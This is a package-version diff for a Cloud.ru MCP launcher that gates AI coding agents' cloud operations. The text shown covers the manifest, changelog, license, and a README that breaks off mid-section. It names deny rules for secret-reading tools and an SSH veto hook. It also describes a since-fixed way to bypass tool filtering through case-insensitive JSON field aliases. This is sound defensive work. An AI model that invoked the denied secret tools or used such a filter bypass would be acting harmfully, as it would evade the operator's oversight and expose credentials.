@dzhechkov/cloudru-hub 0.1.12 → 0.1.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dz-manifest.json +62 -18
- package/CHANGELOG.md +89 -0
- package/LICENSE +4 -41
- package/README.md +67 -58
- package/THIRD_PARTY_NOTICES.md +5 -4
- package/bin/cloudru-hub.js +0 -0
- package/data/tools-classification.json +9 -9
- package/data/tools-list-snapshot.json +6 -6
- package/docs/HERMES-CODEX.md +34 -0
- package/docs/LOCAL-TESTING.md +14 -22
- package/package.json +16 -10
- package/sbom.json +127 -17
- package/src/cli.js +65 -17
- package/src/credentials.js +61 -0
- package/src/deploy-approval.js +120 -0
- package/src/install.js +246 -27
- package/src/k8s-approval.js +208 -0
- package/src/probe-child.js +38 -0
- package/src/resolve.js +3 -3
- package/src/safe-mcp.js +268 -0
- package/src/toolsets.js +58 -0
- package/templates/.claude/hooks/cloudru-ssh-guard.cjs +0 -0
- package/test/billing-credentials.test.mjs +113 -0
- package/test/classification.test.mjs +23 -32
- package/test/deploy-approval.test.mjs +154 -0
- package/test/dialects.test.mjs +11 -1
- package/test/install.test.mjs +235 -11
- package/test/k8s-approval.test.mjs +125 -0
- package/test/mutation-registry.json +6 -6
- package/test/pack-holds.test.mjs +14 -16
- package/test/resolve.test.mjs +58 -9
- package/test/safe-mcp.test.mjs +162 -0
package/.dz-manifest.json
CHANGED
|
@@ -5,19 +5,19 @@
|
|
|
5
5
|
"files": [
|
|
6
6
|
{
|
|
7
7
|
"path": "CHANGELOG.md",
|
|
8
|
-
"sha256": "
|
|
8
|
+
"sha256": "4d6d0e6f47b09b017a32e4f3287c0669821e61569835c397245e5077435f5b15"
|
|
9
9
|
},
|
|
10
10
|
{
|
|
11
11
|
"path": "LICENSE",
|
|
12
|
-
"sha256": "
|
|
12
|
+
"sha256": "78a14ae697528fa79451ea10725c5ca356f6658378bfb39849b51d05207ab3f3"
|
|
13
13
|
},
|
|
14
14
|
{
|
|
15
15
|
"path": "README.md",
|
|
16
|
-
"sha256": "
|
|
16
|
+
"sha256": "2c25bbd9659f1a02e2a7a5413de8673e8735d67e583458fdede75dfd032b6106"
|
|
17
17
|
},
|
|
18
18
|
{
|
|
19
19
|
"path": "THIRD_PARTY_NOTICES.md",
|
|
20
|
-
"sha256": "
|
|
20
|
+
"sha256": "1986a75d5f90631adea8fb40c9fc182371cb875c9d62d65d07fd479b32c876df"
|
|
21
21
|
},
|
|
22
22
|
{
|
|
23
23
|
"path": "bin/cloudru-hub.js",
|
|
@@ -33,19 +33,23 @@
|
|
|
33
33
|
},
|
|
34
34
|
{
|
|
35
35
|
"path": "data/tools-classification.json",
|
|
36
|
-
"sha256": "
|
|
36
|
+
"sha256": "9abb3ca6347b0cd6cd51b23649c59e0a0c816e6c12a325f573b392affa350d0b"
|
|
37
37
|
},
|
|
38
38
|
{
|
|
39
39
|
"path": "data/tools-list-snapshot.json",
|
|
40
|
-
"sha256": "
|
|
40
|
+
"sha256": "dff98bb859dfbbf8ed2fb6f16f17b767444cc2172ecc7684ca3df8188c95707c"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"path": "docs/HERMES-CODEX.md",
|
|
44
|
+
"sha256": "3605797972f9a7c79c13fbcce0cd9ac8b8fb3a8249abbab938f2b1a45f515420"
|
|
41
45
|
},
|
|
42
46
|
{
|
|
43
47
|
"path": "docs/LOCAL-TESTING.md",
|
|
44
|
-
"sha256": "
|
|
48
|
+
"sha256": "de6f709e820fbb831f390e274238b28ba938644670a8db04fd50d1fa0d86da75"
|
|
45
49
|
},
|
|
46
50
|
{
|
|
47
51
|
"path": "package.json",
|
|
48
|
-
"sha256": "
|
|
52
|
+
"sha256": "d906ed1871af834274d77dbd3a345b168604456b15360f009a9474778273b11f"
|
|
49
53
|
},
|
|
50
54
|
{
|
|
51
55
|
"path": "src/classification.js",
|
|
@@ -53,7 +57,15 @@
|
|
|
53
57
|
},
|
|
54
58
|
{
|
|
55
59
|
"path": "src/cli.js",
|
|
56
|
-
"sha256": "
|
|
60
|
+
"sha256": "a22f3fcced6e9970e7bed6b935fc03637b6d4b8d3cd6cc65a2685595a6549c1c"
|
|
61
|
+
},
|
|
62
|
+
{
|
|
63
|
+
"path": "src/credentials.js",
|
|
64
|
+
"sha256": "21f074b4bf5b5ee9e893a2c1919cf4bb62f9fa05a0d7a1a8c04afc051ccb0e78"
|
|
65
|
+
},
|
|
66
|
+
{
|
|
67
|
+
"path": "src/deploy-approval.js",
|
|
68
|
+
"sha256": "5c1fba3d298df73ff82f28c72bc5199d23acc6dfc64022438874b0e3381c9394"
|
|
57
69
|
},
|
|
58
70
|
{
|
|
59
71
|
"path": "src/dialects.js",
|
|
@@ -61,23 +73,47 @@
|
|
|
61
73
|
},
|
|
62
74
|
{
|
|
63
75
|
"path": "src/install.js",
|
|
64
|
-
"sha256": "
|
|
76
|
+
"sha256": "c928db48febfb4a79884ce1830365a8302122a55fb5d6ada8e771c049396ca89"
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"path": "src/k8s-approval.js",
|
|
80
|
+
"sha256": "014c2effd1e843d870ae1af4f93f5c82faff9972e9f6ca028ed39d47ec33ee3a"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"path": "src/probe-child.js",
|
|
84
|
+
"sha256": "0f7a0c1f6d0d033006ca816df49c24e69eb82aa6b70ec03491bce9e4d674bdd4"
|
|
65
85
|
},
|
|
66
86
|
{
|
|
67
87
|
"path": "src/resolve.js",
|
|
68
|
-
"sha256": "
|
|
88
|
+
"sha256": "d3eba14c23be5bfb7e73952e6ae27908667d535f91be9c43e11dbf7b7c4de49d"
|
|
89
|
+
},
|
|
90
|
+
{
|
|
91
|
+
"path": "src/safe-mcp.js",
|
|
92
|
+
"sha256": "4f95cfb9576c411232503b26053ece6d8d186e4b337beff9bd4afd249f74a014"
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"path": "src/toolsets.js",
|
|
96
|
+
"sha256": "89229c882b6a3f5bb9ee542b31d1a40374b91879747582a3e82e8aadc72decb3"
|
|
69
97
|
},
|
|
70
98
|
{
|
|
71
99
|
"path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
|
|
72
100
|
"sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
|
|
73
101
|
},
|
|
102
|
+
{
|
|
103
|
+
"path": "test/billing-credentials.test.mjs",
|
|
104
|
+
"sha256": "f2e1b05bdb6a6e811844ee19b0142daa02647b387f5d96b4a5d29bd34e3c985d"
|
|
105
|
+
},
|
|
74
106
|
{
|
|
75
107
|
"path": "test/classification.test.mjs",
|
|
76
|
-
"sha256": "
|
|
108
|
+
"sha256": "026e3031180ce9227b4d31775b9c886b10ad0cb418ed0754aed75b12ded84e31"
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"path": "test/deploy-approval.test.mjs",
|
|
112
|
+
"sha256": "d72e4363fd50d0fcc65fd23b40601516bd73368c3659f2a55a394c4d1ed3f85c"
|
|
77
113
|
},
|
|
78
114
|
{
|
|
79
115
|
"path": "test/dialects.test.mjs",
|
|
80
|
-
"sha256": "
|
|
116
|
+
"sha256": "3e6236f0cfb159dd73477b6243f6af536925968308085fd248df93932a2bebbf"
|
|
81
117
|
},
|
|
82
118
|
{
|
|
83
119
|
"path": "test/hook.test.mjs",
|
|
@@ -85,7 +121,11 @@
|
|
|
85
121
|
},
|
|
86
122
|
{
|
|
87
123
|
"path": "test/install.test.mjs",
|
|
88
|
-
"sha256": "
|
|
124
|
+
"sha256": "07fe729b0dc6955329d0a3121ce97d575582f8c6f2895e72d0c38175f82b52d2"
|
|
125
|
+
},
|
|
126
|
+
{
|
|
127
|
+
"path": "test/k8s-approval.test.mjs",
|
|
128
|
+
"sha256": "af04d1941fb7aed2cc51b05f65ffed1c440d4d23a7fb26e13261d45e07b0a1f8"
|
|
89
129
|
},
|
|
90
130
|
{
|
|
91
131
|
"path": "test/mutation-registry-freshness.test.mjs",
|
|
@@ -93,17 +133,21 @@
|
|
|
93
133
|
},
|
|
94
134
|
{
|
|
95
135
|
"path": "test/mutation-registry.json",
|
|
96
|
-
"sha256": "
|
|
136
|
+
"sha256": "09b8fdc28bbe5df9b4cfd7d563c1acb479532157bbe1a99e909b3b370dd96630"
|
|
97
137
|
},
|
|
98
138
|
{
|
|
99
139
|
"path": "test/pack-holds.test.mjs",
|
|
100
|
-
"sha256": "
|
|
140
|
+
"sha256": "f5e66cce7344efb22c40bba91b422ce84979948b66bb0305377f8c12eb078002"
|
|
101
141
|
},
|
|
102
142
|
{
|
|
103
143
|
"path": "test/resolve.test.mjs",
|
|
104
|
-
"sha256": "
|
|
144
|
+
"sha256": "9ad83ba418dee86ef680575a0cc7da4af4be3ae995c00f23f84b336838fbda47"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"path": "test/safe-mcp.test.mjs",
|
|
148
|
+
"sha256": "45406dabeee0635ede5cda3d2f4144c5c13886d624287fd223b01252d2859b87"
|
|
105
149
|
}
|
|
106
150
|
]
|
|
107
151
|
},
|
|
108
|
-
"signature": "
|
|
152
|
+
"signature": "l3G7HKnPVq9k2pUtMFbeaNybS7PUSGnlJAn3dSZvcXRKKQ4TEFmxYfgO4Urjw2spCra9M3UAkRVSJfkUX7zYCw=="
|
|
109
153
|
}
|
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,94 @@
|
|
|
1
1
|
# Changelog — @dzhechkov/cloudru-hub
|
|
2
2
|
|
|
3
|
+
## 0.1.14 — 2026-10-20
|
|
4
|
+
|
|
5
|
+
- Prepare an exact optional dependency on `@dzhechkov/cloudru-vm-linux-x64@0.2.6`.
|
|
6
|
+
A fresh Linux/x64 installation resolves the separately packed Go engine;
|
|
7
|
+
no postinstall download is used.
|
|
8
|
+
- Credit Timur's substantial Cloud.ru API testing and the defects it revealed;
|
|
9
|
+
correct the earlier attribution in current package materials.
|
|
10
|
+
- Build the Linux/x64 platform engine with `CGO_ENABLED=0` and pin the resulting
|
|
11
|
+
static binary. The first GitHub Actions build exposed a C-toolchain-dependent
|
|
12
|
+
hash from the earlier dynamic build; the static artifact passed its GitHub CI build.
|
|
13
|
+
|
|
14
|
+
## 0.1.13 — 2026-10-20
|
|
15
|
+
|
|
16
|
+
This release publishes the previously private launcher and host-adapter preview.
|
|
17
|
+
The Go engine is not included in this npm archive or available as a platform
|
|
18
|
+
package yet. All Cloud.ru operations require an owner-supplied engine matching
|
|
19
|
+
the pinned SHA-256; both MCP launcher routes refuse a mismatched engine.
|
|
20
|
+
|
|
21
|
+
- Complete both OpenCode and Pi live static-site VM scenarios: agent-authored
|
|
22
|
+
Snake and the pinned 12-file repository archive. Each host retained one
|
|
23
|
+
`deploy_apply` result per run, independent HTTP bytes matched the reviewed
|
|
24
|
+
source, and exact VM/security-group cleanup restored baseline inventory.
|
|
25
|
+
Set the host-specific long-call timeout to 1,200 seconds.
|
|
26
|
+
- Add an opt-in `k8s-deploy` pilot for Codex, Claude Code, Hermes, OpenCode and
|
|
27
|
+
Pi. A local one-use approval binds an exact three-resource Snake manifest to
|
|
28
|
+
an existing cluster, namespace and project; the proxy exposes only bounded
|
|
29
|
+
readback and sends `create_only=true` to avoid patching name collisions.
|
|
30
|
+
The private Go engine is rebuilt as `0.2.6-20261020` with SHA-256
|
|
31
|
+
`89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10`.
|
|
32
|
+
Local tests pass; a Kubernetes role was later granted and the four available
|
|
33
|
+
hosts passed live deployment. Claude Code inference remains unavailable.
|
|
34
|
+
|
|
35
|
+
- Keep Hermes MCP discovery responsive while a long `deploy_apply` is running:
|
|
36
|
+
cache the pinned proxy's filtered tool list after its first successful read.
|
|
37
|
+
The previous serial Go backend could not answer Hermes' keepalive during VM
|
|
38
|
+
creation, causing a reconnect and an unknown outcome for the agent. Both
|
|
39
|
+
post-fix live Snake scenarios passed: Hermes received the final apply result,
|
|
40
|
+
independently served bytes matched the approved source, and each temporary
|
|
41
|
+
VM and dedicated security group was removed.
|
|
42
|
+
|
|
43
|
+
- Verify Hermes' built-in import of this server's existing Codex CLI OAuth
|
|
44
|
+
credentials. The isolated and default Hermes profiles now select
|
|
45
|
+
`openai-codex` / `gpt-6-sol` and each passed a short inference probe. This
|
|
46
|
+
cleared the model-provider blocker before the live Hermes VM acceptance runs.
|
|
47
|
+
|
|
48
|
+
- Accept both flat and nested Cloud.ru subnet availability-zone IDs during VM
|
|
49
|
+
planning; reject conflicting IDs. Live `/api/v1/subnets` returned the nested
|
|
50
|
+
form and previously made the planner reject a valid project subnet. Add API
|
|
51
|
+
response and planner regression tests.
|
|
52
|
+
- Complete both Codex-hosted static-site VM acceptance scenarios (new Snake
|
|
53
|
+
source and a pinned GitHub archive), with exact-byte HTTP verification and
|
|
54
|
+
cleanup of each test VM/security group. Hermes connects to the 12-tool
|
|
55
|
+
profile but its available model-provider credentials failed before inference;
|
|
56
|
+
OpenCode and Pi were still pending at this point. The final rebuilt binary
|
|
57
|
+
was checked with a read-only live plan, Go and package tests; the two paid
|
|
58
|
+
deploys used the immediately preceding binary before fail-closed zone-field
|
|
59
|
+
hardening.
|
|
60
|
+
|
|
61
|
+
- In the private preview, add bounded static-site Cloud-init deployment with
|
|
62
|
+
reviewed source digests, a dedicated HTTP security group, existing-IP
|
|
63
|
+
approval, exact-byte HTTP checks, and durable run checkpoints. The preview
|
|
64
|
+
engine pin was `0.2.5-20261020` at that stage; public engine redistribution remains a
|
|
65
|
+
separate gate.
|
|
66
|
+
|
|
67
|
+
- Add `mcp-safe`, a pinned MCP process boundary that exposes only allow-classified tools,
|
|
68
|
+
blocks other calls before the engine, and supports named toolsets. Host installers default
|
|
69
|
+
to the 11-tool inventory group; `all` exposes the full 78-tool allow-classified surface.
|
|
70
|
+
- Add project MCP registrations for Codex, OpenCode and Pi and a guarded Hermes YAML
|
|
71
|
+
registration. Hermes receives an explicit path to a locally hash-verified engine because
|
|
72
|
+
it filters inherited environment variables. Complex configuration and pre-existing Cloud.ru entries are refused.
|
|
73
|
+
- Canonicalize forwarded JSON-RPC requests to prevent case-insensitive Go field aliases
|
|
74
|
+
from bypassing tool filtering; close the proxy when its engine exits unexpectedly.
|
|
75
|
+
- Repair `self-test` tools/list probing so a persistent MCP server is stopped after its
|
|
76
|
+
response; report a SHA-256 mismatch as a failed step.
|
|
77
|
+
- Add fake-engine boundary tests and verify the real pinned engine's 144-tool classification
|
|
78
|
+
and the proxy's 11-tool inventory list locally. The installed Hermes client connected to
|
|
79
|
+
the generated server and discovered 11 tools; other host-session activation and real
|
|
80
|
+
Cloud.ru operations remain unverified.
|
|
81
|
+
- Import the Go engine into the private source tree with provenance; fix shell quoting in
|
|
82
|
+
`logs`, make `stack_status` observational, fail `doctor` on failed checks, refuse a VM
|
|
83
|
+
create when inventory fails, and report state-persistence failure after a create.
|
|
84
|
+
- Pin the locally rebuilt `0.2.4-20261019` Go engine and recapture its 144-tool schema.
|
|
85
|
+
`stack_status` changes from ask to allow after its Go behavior fix; `stack_apply`
|
|
86
|
+
remains ask. The current public platform package does not match this private pin.
|
|
87
|
+
- Add an opt-in `vm-deploy` profile for Hermes and Codex with a private credentials
|
|
88
|
+
file, exact-plan/cost approval, one-use apply, and VM-scoped remote execution.
|
|
89
|
+
Fake-engine tests cover forged confirmation, approval replay, changed plans and
|
|
90
|
+
execution on an unrelated VM. Live Cloud.ru acceptance is pending temporary keys.
|
|
91
|
+
|
|
3
92
|
## 0.1.6
|
|
4
93
|
|
|
5
94
|
Corrects the link added in 0.1.5: the Тимур credit now points at his about page
|
package/LICENSE
CHANGED
|
@@ -1,14 +1,5 @@
|
|
|
1
1
|
# LICENSE — @dzhechkov/cloudru-hub
|
|
2
2
|
|
|
3
|
-
This file has two parts because the shipped work has two provenances. Part 1 covers every
|
|
4
|
-
byte actually contained in this npm package. Part 2 records the licensing status of the
|
|
5
|
-
Hermes engine additions, which this package deliberately does NOT contain.
|
|
6
|
-
|
|
7
|
-
---
|
|
8
|
-
|
|
9
|
-
## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
|
|
10
|
-
## and the original Go CLI foundation
|
|
11
|
-
|
|
12
3
|
MIT License
|
|
13
4
|
|
|
14
5
|
Copyright (c) 2026 Dmitry Zhechkov
|
|
@@ -31,37 +22,9 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
|
31
22
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
32
23
|
SOFTWARE.
|
|
33
24
|
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
NOT assert, imply, or substitute for any grant by the Hermes engine author.
|
|
39
|
-
|
|
40
|
-
---
|
|
41
|
-
|
|
42
|
-
## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
|
|
43
|
-
|
|
44
|
-
This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
|
|
45
|
-
engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
|
|
46
|
-
(environment variable / config path / a future platform package) and is never bundled
|
|
47
|
-
here. See ADR-002 (distribution form) and the package README.
|
|
48
|
-
|
|
49
|
-
Redistribution status of the engine additions (the Hermes author's contribution on top
|
|
50
|
-
of the owner's CLI foundation):
|
|
51
|
-
|
|
52
|
-
GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
|
|
53
|
-
engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
|
|
54
|
-
foundation), approved publication of this package, as reported by the repository owner
|
|
55
|
-
(Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
|
|
56
|
-
written confirmation is a recorded owner follow-up (see the grant record linked below).
|
|
57
|
-
Per the owner's standing attribution condition, publication carries authorship credit:
|
|
58
|
-
the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
|
|
59
|
-
every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
|
|
60
|
-
|
|
61
|
-
The author did not designate a licence text for the engine additions themselves.
|
|
62
|
-
Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
|
|
63
|
-
licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
|
|
64
|
-
third party rights to the engine additions — their use remains governed by their
|
|
65
|
-
author's own terms.
|
|
25
|
+
This launcher archive contains ZERO bytes of the Go engine: no binary or Go sources.
|
|
26
|
+
The engine is distributed separately with its own package license and third-party
|
|
27
|
+
notices. Тимур contributed substantial Cloud.ru API testing and identified API
|
|
28
|
+
behavior and defects. The corrected attribution record is linked below.
|
|
66
29
|
|
|
67
30
|
Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md
|
package/README.md
CHANGED
|
@@ -1,12 +1,10 @@
|
|
|
1
1
|
# @dzhechkov/cloudru-hub
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
>
|
|
6
|
-
>
|
|
7
|
-
>
|
|
8
|
-
> LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
|
|
9
|
-
> trigger in place.
|
|
3
|
+
Site: https://aicoding.space · Source: https://github.com/djd1m/dz-harness/tree/main/packages/@dzhechkov/cloudru-hub
|
|
4
|
+
|
|
5
|
+
> **Linux/x64 distribution:** version 0.1.14 installs the exact optional engine
|
|
6
|
+
> package `@dzhechkov/cloudru-vm-linux-x64@0.2.6`. The `dz guard` `licence-hold`
|
|
7
|
+
> rule continues to check LICENSE, notices and SPDX on publish.
|
|
10
8
|
|
|
11
9
|
> **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
|
|
12
10
|
> trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
|
|
@@ -17,28 +15,33 @@ Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **
|
|
|
17
15
|
Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
|
|
18
16
|
docker-compose deploy wizard.
|
|
19
17
|
|
|
18
|
+
The launcher archive contains no engine binary. On Linux/x64, npm installs the exact
|
|
19
|
+
optional platform package with the pinned Go engine. Run:
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
npm install -g @dzhechkov/cloudru-hub@0.1.14
|
|
23
|
+
cloudru-hub self-test
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
The self-test verifies the engine SHA-256, version, 144 live MCP tools and their
|
|
27
|
+
classification without Cloud.ru credentials. On another platform, or if optional
|
|
28
|
+
dependencies were disabled, provide a trusted binary with the same SHA-256.
|
|
29
|
+
|
|
20
30
|
## Attribution
|
|
21
31
|
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
of it.
|
|
26
|
-
- **Hermes engine additions** (the ~144-tool MCP layer): **[Тимур](https://shkrbkv.ru/about/)**, the Hermes author.
|
|
27
|
-
**Zero bytes of those additions ship in this package** — no binary, no Go sources, no
|
|
28
|
-
skill corpus. Publication of this package was approved by the author (grant recorded
|
|
29
|
-
2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
|
|
30
|
-
licence text for the engine additions themselves; nothing here grants third parties
|
|
31
|
-
rights to them.
|
|
32
|
+
**[Тимур](https://shkrbkv.ru/about/)** carried out extensive Cloud.ru API testing,
|
|
33
|
+
identifying actual behavior and defects.
|
|
34
|
+
The JS launcher remains MIT-licensed; its archive contains no Go engine bytes.
|
|
32
35
|
|
|
33
36
|
## What ships here (our code only — ADR-002)
|
|
34
37
|
|
|
35
38
|
| Piece | Where | What it does |
|
|
36
39
|
|---|---|---|
|
|
37
|
-
| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64
|
|
38
|
-
| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (
|
|
39
|
-
| Target
|
|
40
|
+
| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64`; verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
|
|
41
|
+
| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (64 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 78 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
|
|
42
|
+
| Target integration | `src/install.js`, `src/safe-mcp.js` | Codex, OpenCode and Pi get project MCP configs using a pinned proxy; Hermes gets a guarded `$HERMES_HOME/config.yaml` entry with a verified engine path. Claude Code's general install keeps its permissions and hook probe. The opt-in `vm-deploy` profile requires an exact-plan approval and confines remote commands to the returned VM. Codex, Hermes, OpenCode and Pi each completed both live static-site scenarios on 2026-10-20 with HTTP byte checks and exact resource cleanup. The `k8s-deploy` profile uses a separate exact-manifest approval and create-only Kubernetes operation; the same four hosts completed live Kubernetes deployment, readiness, exact-byte HTTP and cleanup checks. Claude Code has installer/registration checks but no live inference pass. |
|
|
40
43
|
| Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
|
|
41
|
-
| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the
|
|
44
|
+
| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the handler (read-only proven at the pinned baseline, engine file:line cited per entry). The previous `stack_status` behavior was unsafe; the imported engine now makes it observational and tests that invariant. A live tool unknown to the classifier is a drift finding. |
|
|
42
45
|
|
|
43
46
|
## Usage
|
|
44
47
|
|
|
@@ -46,52 +49,64 @@ docker-compose deploy wizard.
|
|
|
46
49
|
cloudru-hub resolve # where is the engine, which sha256, is it the pinned baseline
|
|
47
50
|
cloudru-hub self-test # resolve → sha256 → engine version → live tools/list → coverage
|
|
48
51
|
cloudru-hub mcp # run the engine as an MCP stdio server (what .mcp.json points at)
|
|
52
|
+
cloudru-hub mcp-safe --toolsets inventory # pinned MCP proxy with a small allow-classified surface
|
|
53
|
+
cloudru-hub install --target codex --toolsets billing # read-only balance, consumption and FinOps
|
|
54
|
+
cloudru-hub install --target codex --toolsets vm-deploy # guarded VM deployment profile
|
|
55
|
+
cloudru-hub install --target codex --toolsets k8s-deploy # bounded existing-cluster Snake profile
|
|
56
|
+
cloudru-hub k8s-approve --cluster-id <uuid> --namespace snake-pilot --manifest <snake.yaml> --manifest-sha256 <digest>
|
|
57
|
+
cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> # one reviewed SSH plan
|
|
58
|
+
cloudru-hub approve --plan-id <id> --max-monthly-rub <cap> --site-sha256 <digest> # reviewed static-site artifact
|
|
49
59
|
cloudru-hub install --target claude-code # emit .mcp.json + permission brake + veto hook, PROBE the veto
|
|
60
|
+
cloudru-hub install --target codex # project .codex/config.toml using mcp-safe
|
|
61
|
+
cloudru-hub install --target opencode # project opencode.json using mcp-safe
|
|
62
|
+
cloudru-hub install --target pi # project .pi/mcp.json using mcp-safe
|
|
63
|
+
cloudru-hub install --target hermes # require a hash-verified engine; add safe entry to $HERMES_HOME/config.yaml
|
|
50
64
|
cloudru-hub install --target agents-md # pointer-only section (no tools, no fake support)
|
|
51
65
|
cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
|
|
52
66
|
```
|
|
53
67
|
|
|
54
|
-
##
|
|
68
|
+
## Using an owner-supplied engine instead
|
|
55
69
|
|
|
56
70
|
```bash
|
|
57
|
-
export CLOUDRU_VM_BIN=/path/to/
|
|
71
|
+
export CLOUDRU_VM_BIN=/path/to/trusted/cloudru-vm # must match the pinned build
|
|
58
72
|
node bin/cloudru-hub.js self-test
|
|
59
73
|
```
|
|
60
74
|
|
|
61
75
|
Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
|
|
62
|
-
the pinned baseline `
|
|
76
|
+
the pinned baseline `4463b093…97a97c9b6`, engine version, 144 live tools, full
|
|
63
77
|
classification coverage). Full walkthrough incl. `npm link` and MCP registration:
|
|
64
78
|
[`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
|
|
65
79
|
|
|
80
|
+
Host setup, checks and limits: [`docs/HERMES-CODEX.md`](docs/HERMES-CODEX.md). These adapters are generated from our own classification and do not reuse EVO code. EVO's broader standalone CLI and toolset selection remain advantages to carry into the owner's Go engine.
|
|
81
|
+
|
|
82
|
+
For billing through `mcp-safe`, add the optional `"agreement_id":"…"` to the owner-only `~/.config/cloudru-hub/credentials.json` alongside `key_id`, `secret` and `project_id`. The proxy forwards it to the Go child as `CLOUDRU_AGREEMENT_ID`. Existing environment-only billing setups remain supported when no credential file is configured. The current consumption tool reports the agreement-wide total; its output should not be presented as a per-project bill. See the [Cloud.ru instructions for locating the agreement ID](https://cloud.ru/docs/billing/ug/topics/faq__api_id_agreement).
|
|
83
|
+
|
|
84
|
+
The `vm-deploy` and `k8s-deploy` profiles are included in the launcher as **opt-in previews**. They require the matching pinned Go binary and temporary credentials in a private local file. On Linux/x64, a normal npm installation supplies that binary through the optional platform package. A static site can be planned from a local HTML file or a bounded ZIP snapshot with `deploy_plan(static_site_source=...)`; the operator checks the source digest shown in the plan and supplies that digest to `approve`. Every included ZIP file is served publicly, so review the file list in the plan and keep credentials out of the artifact. Planning requires an existing available floating IP, whose ID is bound to the approval. Apply creates a dedicated TCP-80 security group, boots the VM from fixed Cloud-init data, and reports the site as verified only after the approved IP is attached to that VM and exact-byte HTTP checks pass. A private run journal keeps resource IDs for interrupted-run recovery and blocks blind replay. The estimate covers compute and disk; a public IP may have a separate charge. The static-site route does not authorize `vm_exec` over SSH. See the two-Snake acceptance procedure in `features/cloudru-cli-vm-deploy/SNAKE-ACCEPTANCE.md` in the private source tree.
|
|
85
|
+
|
|
86
|
+
The Kubernetes preview accepts only one reviewed manifest containing a ConfigMap, a non-root single-pod Deployment and a ClusterIP Service in an existing namespace. `k8s-approve` binds exact manifest bytes, cluster, namespace, project and a ten-minute single-use approval. The agent passes only the approval ID; the proxy forwards `create_only=true`, so an existing resource name is a conflict instead of being patched. Kubernetes `create` is not transactional across three documents: inspect and clean up any partially created resources by exact name before trying again. Use a dedicated namespace with no pre-existing resources matching the app label or the three approved names. The profile does not create a cluster, namespace, nodes, NAT, ingress or load balancer. The example, local evidence and four-host live acceptance are in `features/cloudru-k8s-snake-deploy/` in private source. The service account's initial 403 was resolved by granting the Kubernetes role; Claude Code inference remains unavailable for a live host test.
|
|
87
|
+
|
|
66
88
|
## Safety properties (all layer-1, discrimination-proven)
|
|
67
89
|
|
|
68
90
|
Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
|
|
69
91
|
